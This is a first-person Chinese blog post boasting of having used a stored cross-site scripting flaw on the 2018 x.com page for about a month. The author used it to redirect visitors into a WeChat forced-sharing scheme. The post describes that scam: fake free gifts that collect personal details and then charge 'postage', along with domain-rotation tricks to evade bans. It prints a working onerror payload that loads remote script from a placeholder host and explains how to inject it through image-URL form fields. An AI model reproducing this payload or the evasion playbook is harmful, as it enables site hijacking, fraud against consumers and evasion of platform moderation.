人生高光:我是如何黑了马斯克的x.com
免责声明:本文仅为技术研究和安全教育用途,基于2018年的技术背景和假设场景。未经授权的攻击是非法的,请遵守法律和道德规范。
如今,https://x.com
是属于埃隆·马斯克的庞大帝国入口,一个价值数百亿的符号。但在2018年,它还是一个普通的不能再普通的简单网页,没有重定向,没有复杂的脚本,只有几行朴素的HTML和一个表单.
2018年的时候,我还在为一家公司构建一个微信公众号的诱导分享系统,那些年是微信生态”野蛮生长”的特定时期,核心功能大概归为以下几类:
1.利益诱导
-
游戏:制作一些测试小游戏,等待用户答题完成之后生成测试结果并且提示用户”分享到朋友圈”,“分享到群里”让大家一起玩.
-
解锁视频后半段:类似现在的短剧,每个视频3-5分钟,观看到某一时刻的时候弹出弹出框提示用户”分享到朋友圈”并”分享到群里”之后才可以继续观看.
-
免费送商品:页面是一个商品的详情页,告知用户可以免费领取,一般是一个小物件,成本价不超过10块.当用户点击领取按钮时候提示用户输入姓名电话和收货地址,等用户输入完成之后提示需要将网页”分享到朋友圈”并”分享到群里”之后才可以领取,等用户分享操作完成之后进入付款页面,支付一笔 **“邮费”**才发货.
2.技术伪装与规避
-
大量域名池与及时的URL切换:当一个域名链接的流量提高到一定数量级之后微信官方会介入审查,被封禁一个域名之后需要及时切换到其他正常的域名供用户访问.
-
将分享域名和落地域名区分开:落地域名即用户看到的网页的域名,分享域名则是用户分享出去之后的域名,用户投诉的时候一般只能投诉到落地域名,而分享域名能坚持较长时间,只要分享域名坚持的时间足够长,则提供的流量就是巨大的.
-
多公众号混淆分享:一个公众号服务号只能添加3个域名使用,采用多个公众号则就有多个域名来混合使用.
我是如何黑了 x.com
前几个月的时候使用的分享域名和落地域名还都是公司自己买的,不过一个诱导分享链接启动之后一般持续4-5天之后就会将分享域名封禁,分享域名是入口域名,被封禁之后则宣告活动结束
将分享域名换成权重比较高的域名则坚持的时间更久,x.com 就进入了我们的视野,当时的x.com只不过是一个简简单单的静态html表单,样子如下图:
通过使用 储存型XSS 注入脚本实现以下功能:
-
- 判断URL链接中是否有专门的Query参数,例如
?xxx=1
(xxx为自己定义的参数) 判断有这个参数才执行下面的脚本
- 判断URL链接中是否有专门的Query参数,例如
-
- 清空目标页面的 HTML 内容。
-
- 加载百度统计脚本(用于流量统计或跟踪)。
-
- 请求外部接口获取落地页 URL 并跳转过去。
如何实现?
只要该网站有表单,提交内容之后会被存储下来并且显示到网页中,并且前端在渲染时,内容未经过 htmlspecialchars
或类似函数处理,都有被xss入侵的可能。
还有一种更隐秘的方式有利用上传图片的漏洞,一些网站使用表单上传图片之后,会将图片的url再传回前端放入表单里,提交整个表单的时候再一并提交过去。
这个时候使用浏览器工具直接修改表单内图片url的值,例如:
" onerror=var s=document.createElement(script);s.src=//xxxx.com/xxxx.js;document.head.appendChild(s); alt="
这串代码如果被储存为某个图片的URL,并且在前端渲染之后则会变成下面这样:
<img src="" onerror=var s=document.createElement(script);s.src=//xxxx.com/xxxx.js;document.head.appendChild(s); alt="">
当一个img标签加载不出src路径的图片时,则会执行onerror里的脚本内容,此时XSS注入已成。
当用户访问某个x.com的url时,例如 https://x.com/xxxx/xxxxx?own=1
时,网页中展现的或执行的任何操作都已是另外的内容了。
后话
下图是当时在x.com上注入了百度统计的js代码所统计的流量,这个脆弱的入口,让我们的脚本在 x.com 的疆域里驰骋了将近一个月。最终,它的守护者发现了这片区域的异常,并悄然修补了边界。自此,我们的注入之路,宣告终结。